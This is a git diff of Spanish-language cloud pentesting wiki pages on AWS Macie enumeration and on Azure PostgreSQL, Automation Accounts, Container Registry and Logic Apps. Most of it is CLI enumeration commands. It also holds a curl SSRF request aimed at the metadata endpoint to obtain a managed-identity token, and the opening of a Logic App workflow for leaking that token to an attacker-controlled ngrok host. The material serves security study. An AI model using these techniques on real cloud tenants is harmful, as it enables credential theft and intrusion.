Después de escanear un bucket S3 específico en busca de secretos y datos sensibles, se generarán hallazgos que se mostrarán en la consola. Los usuarios autorizados con permisos suficientes pueden ver y listar estos hallazgos para cada trabajo.
@@ -13,36 +75,68 @@ Después de escanear un bucket S3 específico en busca de secretos y datos sensi
## Revelando Secretos
Amazon Macie proporciona una función que muestra los secretos detectados en formato de texto claro. Esta funcionalidad ayuda en la identificación de los datos comprometidos. Sin embargo, mostrar secretos en texto claro generalmente no se considera una buena práctica debido a preocupaciones de seguridad, ya que podría exponer información sensible.
Amazon Macie proporciona una función que muestra secretos detectados en formato de texto claro. Esta funcionalidad ayuda en la identificación de los datos comprometidos. Sin embargo, mostrar secretos en texto claro generalmente no se considera una buena práctica debido a preocupaciones de seguridad, ya que podría potencialmente exponer información sensible.
<img width="596" alt="Screenshot 2025-02-10 at 19 13 53" src="https://github.com/user-attachments/assets/31c40c29-0bba-429b-8b86-4e214d1aef66" />
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
## Enumeración
### Enumeración
```bash
# List and describe classification jobs
aws macie2 list-classification-jobs --region eu-west-1
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
# Get buckets
aws macie2 describe-buckets
# Org config
aws macie2 describe-organization-configuration
# Get admin account (if any)
aws macie2 get-administrator-account
aws macie2 list-organization-admin-accounts # Run from the management account of the org
# Get macie account members (run this from the admin account)
aws macie2 list-members
# Check if automated sensitive data discovey is enabled
aws macie2 get-automated-discovery-configuration
# Get findings
aws macie2 list-findings
aws macie2 get-findings --finding-ids <ids>
aws macie2 list-findings-filters
aws macie2 get -findings-filters --id <id>
# Get allow lists
aws macie2 list-allow-lists
aws macie2 get-allow-list --id <id>
# Get different info
aws macie2 list-classification-jobs
aws macie2 describe-classification-job --job-id <Job_ID>
aws macie2 list-classification-scopes
aws macie2 list-custom-data-identifiers
aws macie2 get-custom-data-identifier --id <Identifier_ID>
# Retrieve account details and statistics
aws macie2 get-macie-session --region eu-west-1
aws macie2 get-usage-statistics --region eu-west-1
# List and manage Macie members (for organizations)
aws macie2 list-members --region eu-west-1
# List findings and get detailed information about specific findings
aws macie2 list-findings --region eu-west-1
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
# Manage custom data identifiers
aws macie2 list-custom-data-identifiers --region eu-west-1
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
# List and detail findings filters
aws macie2 list-findings-filters --region eu-west-1
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
aws macie2 get-macie-session
aws macie2 get-usage-statistic
```
### Privesc
{{#ref}}
../aws-privilege-escalation/aws-macie-privesc.md
{{#endref}}
### Post Explotación
> [!TIP]
> Desde la perspectiva de un atacante, este servicio no está diseñado para detectar al atacante, sino para detectar información sensible en los archivos almacenados. Por lo tanto, este servicio podría **ayudar a un atacante a encontrar información sensible** dentro de los buckets.\
> Sin embargo, tal vez un atacante también podría estar interesado en interrumpirlo para evitar que la víctima reciba alertas y robar esa información más fácilmente.
TODO: ¡Se aceptan PRs!
## Referencias
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
{{#include ../../../banners/hacktricks-training.md}}

23
src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
View File

@@ -3,30 +3,31 @@
{{#include ../../../banners/hacktricks-training.md}}
## PostgreSQL Database Post Exploitation
Para más información sobre PostgreSQL Database consulta:
Para más información sobre la base de datos PostgreSQL, consulta:
{{#ref}}
../az-services/az-postgresql.md
{{#endref}}
### Use la extensión pg_azure_storage para acceder a cuentas de almacenamiento
Es posible usar la extensión **`pg_azure_storage` para acceder a cuentas de almacenamiento de Azure** desde un servidor PostgreSQL. Esto utilizará los permisos de la identidad administrada asignada al servidor para acceder a la cuenta de almacenamiento.
Para más información, consulta esta técnica explicada en la sección de escalada de privilegios:
{{#ref}}
../az-privilege-escalation/az-postgresql-privesc.md
{{#endref}}
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
Con este permiso, puedes crear nuevas bases de datos dentro de una instancia de Postgres Flexible Server en Azure. Aunque esta acción en sí no modifica los recursos existentes, la creación excesiva o no autorizada de bases de datos podría llevar al consumo de recursos o al posible uso indebido del servidor.
Con este permiso, puedes crear nuevas bases de datos dentro de una instancia de Postgres Flexible Server en Azure. Si bien esta acción en sí no modifica los recursos existentes, la creación excesiva o no autorizada de bases de datos podría llevar al consumo de recursos o al posible uso indebido del servidor.
```bash
az postgres flexible-server db create \
--server-name <server_name> \
--resource-group <resource_group_name> \
--database-name <database_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
Con este permiso, puedes iniciar la creación de copias de seguridad para una instancia de Postgres Flexible Server en Azure. Esto permite a los usuarios generar copias de seguridad bajo demanda, lo que puede ser útil para preservar datos en momentos específicos.
```bash
az postgres flexible-server backup create \
--name <server_name> \
--resource-group <resource_group_name>
--backup-name <backup_name>
```
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
Con este permiso, puedes configurar o actualizar la configuración de Protección Avanzada contra Amenazas (ATP) para una instancia de Postgres Flexible Server en Azure. Esto permite habilitar o deshabilitar características de seguridad diseñadas para detectar y responder a actividades anómalas y amenazas potenciales.

16
src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md
View File

@@ -9,7 +9,7 @@ Las Cuentas de Automatización de Azure son servicios basados en la nube en Micr
### Configuraciones
- **Credenciales**: La contraseña solo es accesible dentro de un runbook dentro de la cuenta de automatización, se utilizan para **almacenar nombres de usuario y contraseñas de forma segura**.
- **Variables**: Se utilizan para almacenar **datos de configuración** que pueden ser utilizados en runbooks. Esto también podría incluir información sensible como claves API. Si la variable está **almacenada cifrada**, solo está disponible dentro de un runbook dentro de la cuenta de automatización.
- **Variables**: Se utilizan para almacenar **datos de configuración** que pueden ser utilizados en runbooks. Esto también podría incluir información sensible como claves API. Si la variable está **almacenada encriptada**, solo está disponible dentro de un runbook dentro de la cuenta de automatización.
- **Certificados**: Se utilizan para almacenar **certificados** que pueden ser utilizados en runbooks.
- **Conexiones**: Se utilizan para almacenar **información de conexión** a servicios externos. Esto podría contener **información sensible**.
- **Acceso a la Red**: Se puede establecer como **público** o **privado**.
@@ -26,7 +26,7 @@ Un **Trabajo es una instancia de ejecución de un Runbook**. Cuando ejecutas un
- **Salida**: El resultado de la ejecución del Runbook.
- **Hora de Inicio y Fin**: Cuándo comenzó y se completó el trabajo.
Un trabajo contiene la **salida** de la **ejecución del Runbook**. Si puedes **leer** los **trabajos**, hazlo ya que **contienen** la **salida** de la ejecución (potencial **información sensible**).
Un trabajo contiene la **salida** de la **ejecución** del **Runbook**. Si puedes **leer** los **trabajos**, hazlo ya que **contienen** la **salida** de la ejecución (potencial **información sensible**).
### Programaciones y Webhooks
@@ -38,13 +38,13 @@ Hay 3 formas principales de ejecutar un Runbook:
### Control de Versiones
Permite importar Runbooks desde **Github, Azure Devops (Git) y Azure Devops (TFVC)**. Es posible indicar que publique los Runbooks del repositorio en la cuenta de automatización de Azure y también es posible indicar que **sincronice los cambios del repositorio** a la cuenta de automatización de Azure.
Permite importar Runbooks desde **Github, Azure Devops (Git) y Azure Devops (TFVC)**. Es posible indicar que publique los Runbooks del repositorio en la cuenta de Automatización de Azure y también es posible indicar que **sincronice los cambios del repositorio** a la cuenta de Automatización de Azure.
Cuando la sincronización está habilitada, en el **repositorio de Github se crea un webhook** para activar la sincronización cada vez que ocurre un evento de push. Ejemplo de una URL de webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
Ten en cuenta que estos webhooks **no serán visibles** al listar webhooks en los runbooks asociados al repositorio de Github. También ten en cuenta que **no es posible cambiar la URL del repositorio** de un control de versiones una vez creado.
Para que el control de versiones configurado funcione, la **Cuenta de Automatización de Azure** necesita tener una identidad administrada (sistema o usuario) con el rol de **`Contributor`**. Además, para asignar una identidad administrada de usuario a la Cuenta de Automatización, es necesario indicar el ID de cliente de la MI de usuario en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
Para que el control de versiones configurado funcione, la **Cuenta de Automatización de Azure** necesita tener una identidad administrada (sistema o usuario) con el rol de **`Contributor`**. Además, para asignar una identidad administrada de usuario a la Cuenta de Automatización, es necesario indicar el ID del cliente de la MI de usuario en la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
### Entornos de Ejecución
@@ -78,7 +78,7 @@ Además, si el trabajador híbrido se está ejecutando en Azure con otras Identi
### Configuración de Estado (SC)
> [!WARNING]
> Como se indica en [la documentación](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configuración de Estado de Automatización de Azure será retirada el 30 de septiembre de 2027 y reemplazada por [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
> Como se indica en [la documentación](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), la Configuración de Estado de Automatización de Azure será retirada el 30 de septiembre de 2027 y reemplazada por [Configuración de Máquina de Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
Las Cuentas de Automatización también admiten **Configuración de Estado (SC)**, que es una característica que ayuda a **configurar** y **mantener** el **estado** de tus VMs. Es posible **crear** y **aplicar** configuraciones DSC a máquinas **Windows** y **Linux**.
@@ -232,6 +232,12 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
../az-privilege-escalation/az-automation-accounts-privesc.md
{{#endref}}
## Persistencia
{{#ref}}
../az-persistence/az-automation-accounts-persistence.md
{{#endref}}
## Referencias
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)

22
src/pentesting-cloud/azure-security/az-services/az-container-registry.md
View File

@@ -4,7 +4,7 @@
## Información Básica
Azure Container Registry (ACR) es un registro privado y seguro que te permite **almacenar, gestionar y acceder a imágenes de contenedor en la nube de Azure**. Se integra sin problemas con varios servicios de Azure, proporcionando flujos de trabajo de construcción y despliegue automatizados a gran escala. Con características como la geo-replicación y el escaneo de vulnerabilidades, ACR ayuda a garantizar la seguridad y el cumplimiento de nivel empresarial para aplicaciones en contenedores.
Azure Container Registry (ACR) es un registro privado y seguro que te permite **almacenar, gestionar y acceder a imágenes de contenedores en la nube de Azure**. Se integra sin problemas con varios servicios de Azure, proporcionando flujos de trabajo de construcción y despliegue automatizados a gran escala. Con características como la geo-replicación y el escaneo de vulnerabilidades, ACR ayuda a garantizar la seguridad y el cumplimiento de nivel empresarial para aplicaciones en contenedores.
### Permisos
@@ -29,9 +29,9 @@ También hay algunos **roles integrados** que se pueden asignar, y también es p
Hay 4 formas de autenticarte en un ACR:
- **Con Entra ID**: Esta es la **forma predeterminada** de autenticarte en un ACR. Utiliza el comando **`az acr login`** para autenticarte en el ACR. Este comando **almacenará las credenciales** en el archivo **`~/.docker/config.json`**. Además, si estás ejecutando este comando desde un entorno sin acceso a un socket de docker, como en un **cloud shell**, es posible usar la opción **`--expose-token`** para obtener el **token** para autenticarte en el ACR. Luego, para autenticarte, debes usar como nombre de usuario `00000000-0000-0000-0000-000000000000`, así: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Con Entra ID**: Esta es la **forma predeterminada** de autenticarte en un ACR. Utiliza el comando **`az acr login`** para autenticarte en el ACR. Este comando **almacenará las credenciales** en el archivo **`~/.docker/config.json`**. Además, si estás ejecutando este comando desde un entorno sin acceso a un socket de docker, como en un **cloud shell**, es posible usar la bandera **`--expose-token`** para obtener el **token** para autenticarte en el ACR. Luego, para autenticarte, debes usar como nombre de usuario `00000000-0000-0000-0000-000000000000`, así: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Con una cuenta de administrador**: El usuario administrador está deshabilitado por defecto, pero se puede habilitar y luego será posible acceder al registro con el **nombre de usuario** y **contraseña** de la cuenta de administrador con permisos completos para el registro. Esto sigue siendo compatible porque algunos servicios de Azure lo utilizan. Ten en cuenta que se crean **2 contraseñas** para este usuario y ambas son válidas. Puedes habilitarlo con `az acr update -n <acrName> --admin-enabled true`. Ten en cuenta que el nombre de usuario suele ser el nombre del registro (y no `admin`).
- **Con un token**: Es posible crear un **token** con un **`scope map`** específico (permisos) para acceder al registro. Luego, es posible usar este nombre de token como nombre de usuario y alguna de las contraseñas generadas para autenticarte en el registro con `docker login -u <registry-name> -p <password> aregistry-url>`
- **Con un token**: Es posible crear un **token** con un **`scope map`** específico (permisos) para acceder al registro. Luego, es posible usar el nombre del token como nombre de usuario y cualquiera de las contraseñas generadas para autenticarte en el registro con `docker login -u <registry-name> -p <password> <registry-url>`
- **Con un Service Principal**: Es posible crear un **service principal** y asignar un rol como **`AcrPull`** para descargar imágenes. Luego, será posible **iniciar sesión en el registro** utilizando el appId del SP como nombre de usuario y un secreto generado como contraseña.
Ejemplo de script de la [documentación](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) para generar un SP con acceso sobre un registro:
@@ -73,7 +73,7 @@ Desde la perspectiva de un atacante, es interesante verificar esto **antes de re
### Registros conectados
Esto permite básicamente **reflejar las imágenes** de un registro a otro, generalmente ubicado en las instalaciones.
Esto básicamente permite **reflejar las imágenes** de un registro a otro, generalmente ubicado en las instalaciones.
Tiene 2 modos: **Solo lectura** y **Lectura y escritura**. En el primero, las imágenes solo se **extraen** del registro de origen, y en el segundo, las imágenes también se pueden **enviar** al registro de origen.
@@ -81,9 +81,9 @@ Para que los clientes accedan al registro desde Azure, se genera un **token** cu
### Ejecuciones y Tareas
Ejecuciones y Tareas permite ejecutar en Azure acciones relacionadas con contenedores que normalmente necesitarías hacer localmente o en un pipeline de CI/CD. Por ejemplo, puedes **construir, enviar y ejecutar imágenes en el registro**.
Ejecuciones y Tareas permite ejecutar en Azure acciones relacionadas con contenedores que normalmente necesitabas hacer localmente o en un pipeline de CI/CD. Por ejemplo, puedes **construir, enviar y ejecutar imágenes en el registro**.
La forma más fácil de construir y ejecutar un contenedor es utilizando una Ejecución regular:
La forma más fácil de construir y ejecutar un contenedor es utilizando una Ejecución:
```bash
# Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -94,7 +94,7 @@ az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world
```
Sin embargo, eso activará ejecuciones que no son muy interesantes desde la perspectiva de un atacante porque no tienen ninguna identidad administrada adjunta.
Sin embargo, **tasks** pueden tener una **identidad administrada por el sistema y por el usuario** adjunta a ellas. Estas tareas son las útiles para **escalar privilegios** en el contenedor. En la sección de escalada de privilegios es posible ver cómo usar tareas para escalar privilegios.
Sin embargo, **tasks** pueden tener una **identidad administrada del sistema y del usuario** adjunta a ellas. Estas tareas son las útiles para **escalar privilegios** en el contenedor. En la sección de escalada de privilegios es posible ver cómo usar tareas para escalar privilegios.
### Cache
@@ -143,10 +143,16 @@ az acr cache list --registry <registry-name>
# Get cache details
az acr cache show --name <cache-name> --registry <registry-name>
```
## Acceso No Autenticado
{{#ref}}
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## Escalación de Privilegios y Post Explotación
{{#ref}}
../az-privilege-escalation/az-automation-accounts-privesc.md
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## Referencias

230
src/pentesting-cloud/azure-security/az-services/az-logic-apps.md
View File

@@ -4,99 +4,175 @@
## Información Básica
Azure Logic Apps es un servicio basado en la nube proporcionado por Microsoft Azure que permite a los desarrolladores **crear y ejecutar flujos de trabajo que integran varios servicios**, fuentes de datos y aplicaciones. Estos flujos de trabajo están diseñados para **automatizar procesos empresariales**, orquestar tareas y realizar integraciones de datos a través de diferentes plataformas.
Azure Logic Apps permite a los desarrolladores **crear y ejecutar flujos de trabajo que integran varios servicios**, fuentes de datos y aplicaciones. Estos flujos de trabajo están diseñados para **automatizar procesos empresariales**, orquestar tareas y realizar integraciones de datos a través de diferentes plataformas.
Logic Apps proporciona un diseñador visual para crear flujos de trabajo con una **amplia gama de conectores preconstruidos**, lo que facilita la conexión e interacción con varios servicios, como Office 365, Dynamics CRM, Salesforce y muchos otros. También puedes crear conectores personalizados para tus necesidades específicas.
Logic Apps proporciona un **diseñador visual** para crear flujos de trabajo con una **amplia gama de conectores preconstruidos**, lo que facilita la conexión e interacción con varios servicios:
Al crear una Logic App, debes crear o vincular una cuenta de almacenamiento externa que almacene el estado del flujo de trabajo, el historial de ejecución y los artefactos. Este almacenamiento se puede configurar con ajustes de diagnóstico para monitoreo y se puede asegurar con restricciones de acceso a la red o integrarse en una red virtual para controlar el tráfico entrante y saliente.
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
### Ejemplos
- **Automatización de Pipelines de Datos**: Logic Apps puede automatizar **procesos de transferencia y transformación de datos** en combinación con Azure Data Factory. Esto es útil para crear pipelines de datos escalables y confiables que mueven y transforman datos entre varios almacenes de datos, como Azure SQL Database y Azure Blob Storage, ayudando en operaciones de análisis e inteligencia empresarial.
- **Integración con Azure Functions**: Logic Apps puede trabajar junto a Azure Functions para desarrollar **aplicaciones sofisticadas impulsadas por eventos que escalan según sea necesario** e integrarse sin problemas con otros servicios de Azure. Un caso de uso de ejemplo es utilizar una Logic App para activar una Azure Function en respuesta a ciertos eventos, como cambios en una cuenta de Azure Storage, permitiendo un procesamiento de datos dinámico.
### Visualizar una LogicAPP
Es posible ver una LogicApp con gráficos:
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
o verificar el código en la sección de "**vista de código de la Logic app**".
### Protección SSRF
Incluso si encuentras la **Logic App vulnerable a SSRF**, no podrás acceder a las credenciales de los metadatos ya que Logic Apps no lo permite.
Por ejemplo, algo como esto no devolverá el token:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
```
### Opciones de alojamiento
### Opciones de Alojamiento
Hay varias opciones de alojamiento:
* **Consumo**
- **Multi-tenant**: proporciona recursos de computación compartidos, opera en la nube pública y sigue un modelo de precios por operación. Esto es ideal para cargas de trabajo ligeras y rentables. Esto despliega un "Single Workflow".
- **Multi-tenant**: Esto proporciona recursos de computación compartidos, opera en la nube pública y sigue un modelo de precios por operación. Esto es ideal para cargas de trabajo ligeras y rentables. Esto es lo que llamaremos un "Flujo de Trabajo Único".
* **Estándar**
- **Workflow Service Plan**: recursos de computación dedicados con integración de VNET para redes y cobra por instancia de plan de servicio de flujo de trabajo. Es adecuado para cargas de trabajo más exigentes que requieren un mayor control.
- **App Service Environment V3** recursos de computación dedicados con aislamiento completo y escalabilidad. También se integra con VNET para redes y utiliza un modelo de precios basado en instancias de App Service dentro del entorno.
- **Híbrido** diseñado para procesamiento local y soporte multi-nube. Permite recursos de computación gestionados por el cliente con acceso a la red local y utiliza Kubernetes Event-Driven Autoscaling (KEDA). Se basa en un entorno de aplicación de contenedor conectado.
- **Plan de Servicio de Flujo de Trabajo**: Esto proporciona recursos de computación dedicados con integración de VNET para redes y cobra por instancia de plan de servicio de flujo de trabajo. Es adecuado para cargas de trabajo más exigentes que requieren un mayor control.
- **Entorno de Servicio de Aplicaciones V3:** Esto proporciona recursos de computación dedicados con aislamiento completo y escalabilidad. También se integra con VNET para redes y utiliza un modelo de precios basado en instancias de Servicio de Aplicaciones dentro del entorno.
- **Híbrido:** Esto está diseñado para procesamiento local y soporte multi-nube. Permite recursos de computación gestionados por el cliente con acceso a la red local y utiliza Kubernetes Event-Driven Autoscaling (KEDA). Se basa en un Entorno Conectado de Aplicaciones de Contenedor.
### Características clave
- **Almacenamiento**: Las Logic Apps requieren una cuenta de Azure Storage externa para almacenar el estado del flujo de trabajo, el historial de ejecución... y debe estar en el mismo grupo de recursos que la Logic App.
- **Redes y Seguridad**: Las Logic Apps se pueden configurar con acceso público o privado. Por defecto, la aplicación está abierta a Internet, pero se puede integrar con una Red Virtual de Azure para conectividad aislada.
- **Application Insights**: La gestión del rendimiento de aplicaciones (APM) a través de Azure Monitor Application Insights se puede habilitar para rastrear el rendimiento, detectar anomalías y proporcionar análisis.
- **Control de Acceso**: Las Logic Apps admiten identidades gestionadas por el sistema e identidades gestionadas por el usuario.
## Flujos de Trabajo "Únicos" / Plan de Consumo
### Flujos de trabajo "Únicos"
Un **flujo de trabajo** es una secuencia estructurada de pasos o tareas automatizadas que ejecutan un proceso u objetivo específico. Define cómo interactúan diferentes acciones, condiciones y decisiones para lograr un resultado deseado, optimizando las operaciones y reduciendo el esfuerzo manual.
Un **flujo de trabajo** es una secuencia estructurada de pasos o tareas automatizadas que ejecutan un proceso u objetivo específico. Define cómo interactúan diferentes acciones, condiciones y decisiones para lograr un resultado deseado, optimizando las operaciones y reduciendo el esfuerzo manual. Los flujos de trabajo pueden integrar múltiples sistemas, desencadenar eventos y reglas, asegurando consistencia y eficiencia en los procesos.
> [!TIP]
> El plan de Consumo permite **crear un flujo de trabajo único sin la necesidad de una Logic App** en sí.
Azure Logic Apps ofrece la funcionalidad de **crear un flujo de trabajo único sin la necesidad de una Logic App** en sí.
### Disparadores y Acciones
Cada flujo de trabajo tiene diferentes **disparadores**. Estos disparadores son los pasos que sigue el flujo de trabajo. Cada disparador tiene sus parámetros que pueden variar según el tipo de disparador:
- Nombre de conexión
- **Tipo de Autenticación** que puede ser, Clave de Acceso, Microsoft Entra ID, autenticación de principal de servicio integrado e Identidad Gestionada de Logic Apps.
Los disparadores de flujo de trabajo indican **cuándo debe comenzar el flujo de trabajo**. Los disparadores pueden ser un punto final HTTP, un horario o decenas de eventos diferentes de Azure o incluso aplicaciones externas.
Los disparadores también tienen varias configuraciones:
- Validación de Esquema: Asegura que los datos entrantes sigan una estructura predefinida.
- Control de Concurrencia: Limita el número de ejecuciones paralelas.
- Condiciones de Disparador: condiciones que deben cumplirse antes de que se active el disparador.
- Redes: Configura el tamaño de los fragmentos para la transferencia de datos y permite suprimir los encabezados del flujo de trabajo en las respuestas.
- **Seguridad**: Habilita **Entradas/Salidas Seguras para ocultar** datos sensibles en los registros y las salidas.
Cada flujo de trabajo tiene diferentes **acciones**. Estas acciones son los pasos que sigue el flujo de trabajo. Dependiendo de la acción, diferentes parámetros estarán disponibles para configurarla, como:
**Configuraciones y Conexiones API:**
- **Nombre de conexión**: Conexión a utilizar con la que interactuará la acción.
- **Tipo de Autenticación:** Las diferentes opciones son Clave de Acceso, Microsoft Entra ID, autenticación de principal de servicio integrado e Identidad Administrada de Logic Apps.
- Desde una perspectiva de Solo Lectura, los datos de **Autenticación** siempre son interesantes ya que podrían contener información sensible.
- Desde una perspectiva de Escritura, los datos de **Autenticación** siempre son interesantes ya que podrían permitir usar los permisos de las identidades administradas asignadas.
- ...
Un flujo de trabajo tiene diferentes configuraciones como:
- Direcciones IP entrantes permitidas: Esta configuración te permite restringir quién puede activar o iniciar tu Logic App. Las opciones son Cualquier IP, Solo otras Logic Apps y Rangos de IP específicos.
- Cuenta de integración: Aquí, puedes vincular tu Logic App a una Cuenta de Integración.
- Alto rendimiento: Esta configuración permite que tu Logic App maneje más solicitudes rápidamente.
- Retención del historial de ejecución: por cuánto tiempo se mantiene el historial de las ejecuciones de tu Logic App.
Las acciones también tienen varias **configuraciones**, que dependen de la acción en sí. Algunas de las configuraciones más comunes son:
Puedes ver las diferentes conexiones API que tiene el flujo de trabajo. Dentro de cada una de estas conexiones tienen diferentes propiedades y la posibilidad de editar la conexión API donde se puede cambiar el tipo de autenticación.
- **Política de Reintento**: Configura el número de reintentos y el intervalo entre ellos.
- **Tiempo de Espera**: Establece el tiempo máximo que puede ejecutarse la acción antes de que se agote el tiempo.
- **Ejecutar Después**: Especifica las condiciones que deben cumplirse antes de que se ejecute la acción.
- **Validación de Esquema**: Asegura que los datos entrantes sigan una estructura predefinida.
- **Redes**: Configura cómo gestionar diferentes encabezados.
- **Entradas/Salidas Seguras**: Esto ocultará los datos de entrada/salida del historial de ejecución.
- ...
**Historial y Versiones:**
Tiene la opción de acceder al **historial** de las diferentes ejecuciones, muestra Configuraciones, Salida, Parámetros y el Código.
### Políticas de Autorización
También tiene la opción de acceder a diferentes **versiones** del flujo de trabajo, donde puedes revisar el código y cambiar el flujo de trabajo presente por una versión anterior de este.
**Autorización:**
Las Azure Logic Apps admiten **políticas de autorización** con Entra ID para asegurar los disparadores basados en solicitudes al requerir un token de acceso válido. Este token debe incluir reclamos específicos:
Estos flujos de trabajo admiten **políticas de autorización** con Entra ID para asegurar los disparadores basados en solicitudes al requerir un token de acceso válido. Este token debe incluir reclamos específicos:
- Emisor (iss) para verificar el proveedor de identidad
- Audiencia (aud) para asegurar que el token está destinado a la Logic App
- Sujeto (sub) para identificar al llamador
- ID de JWT (identificador de token web JSON)
- ID de JWT (identificador de JSON Web Token)
- Reclamo Personalizado
Cuando se recibe una solicitud, las Logic Apps validan el token contra estos reclamos y permiten la ejecución solo si coinciden con la política configurada. Esto se puede usar para permitir que otro inquilino active el flujo de trabajo o denegar el disparador de otras fuentes, por ejemplo, permitiendo el disparador solo si proviene de https://login.microsoftonline.com/.
Cuando se recibe una solicitud, Logic Apps valida el token contra estos reclamos y permite la ejecución solo si coinciden con la política configurada. Esto se puede usar para permitir que otro inquilino dispare el flujo de trabajo o denegar el disparo de otras fuentes, por ejemplo, permitiendo el disparo solo si proviene de https://login.microsoftonline.com/.
**Claves de Acceso:**
Cuando guardas un disparador basado en solicitudes por primera vez, las Logic Apps crean automáticamente un endpoint único con una firma SAS (creada a partir de la Clave de Acceso) que otorga permiso para llamar al flujo de trabajo. Esta firma SAS está incrustada en la URL del disparador. Esta clave se puede regenerar y dará una nueva firma SAS, pero las claves no se pueden listar.
### Claves de Acceso
La URL para invocarlo con la Clave de Acceso:
Los flujos de trabajo **generan 2 claves de acceso** cuando se crean. Estas claves se utilizan para autenticar y autorizar solicitudes al flujo de trabajo. Las claves se utilizan para generar un token de Firma de Acceso Compartido (SAS), que se incluye en la URL de la solicitud.
Así, cuando se crea un disparador de punto final HTTP, se genera un **punto final HTTP único con una firma SAS** que otorga permiso para llamar al flujo de trabajo.
Estas **claves pueden ser regeneradas** y se creará una nueva URL SAS para estos disparadores, pero los **valores de las claves no pueden ser accedidos**.
Ejemplo de una URL SAS para invocar un disparador:
```
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
```
### Configuración y Componentes del Flujo de Trabajo
- **Opción de acceso al desencadenador**: Esta configuración te permite restringir quién puede desencadenar o iniciar tu flujo de trabajo. Las opciones son Cualquier IP, Solo otro flujo de trabajo y Rangos de IP específicos.
- **Cuenta de integración**: Vincula tu flujo de trabajo a una Cuenta de Integración.
- **Alto rendimiento**: Si está activado, permite manejar más solicitudes en paralelo rápidamente.
- **Retención del historial de ejecuciones**: Esto indica el número de días para mantener el historial de ejecuciones.
- **Conexiones API**: Esto muestra las diferentes conexiones API que tiene el flujo de trabajo. Dentro de cada una de estas conexiones tienen diferentes propiedades y la posibilidad de editar la conexión API donde se puede cambiar el tipo de Autenticación.
- **Historial**: Tiene la opción de acceder al **historial** de ejecuciones antiguas y obtener datos: Configuraciones, Salida, Parámetros y el Código.
- **Versiones**: Tiene la opción de acceder a diferentes **versiones** del flujo de trabajo, donde puedes revisar el código y cambiar el flujo de trabajo presente por una versión anterior de este.
- **Identidades Administradas**: Es posible asignar 1 identidad administrada del sistema y una identidad administrada por el usuario al flujo de trabajo.
### Filtrar tokens de acceso MI
La acción HTTP en un flujo de trabajo puede ser utilizada para enviar datos a una web externa. En los **Parámetros avanzados** de la acción HTTP, es posible configurar el **Tipo de Autenticación** como **`Identidad administrada`** y luego seleccionar la **Identidad Administrada asignada** para usar (sistema o usuario).
Además, es posible indicar en la **`Audiencia`** la audiencia del JWT generado, que podría ser por ejemplo **`https://management.azure.com/`** para poder usar el token generado para acceder a la API de gestión de Azure.
> [!WARNING]
> Hacer que la acción envíe la solicitud HTTP a un servidor controlado por un atacante puede **filtrar el token de acceso de la identidad administrada** asignada al flujo de trabajo.
> [!TIP]
> Un atacante también podría usar otro tipo de acciones para **acceder directamente a otros servicios de Azure** y realizar acciones con los permisos de la identidad administrada.
Este es el código de un flujo de trabajo que expone un endpoint HTTP y luego utiliza una acción HTTP para filtrar el token de acceso a la URL configurada (ngrok en este caso):
<details>
<summary>Código del flujo de trabajo</summary>
```json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
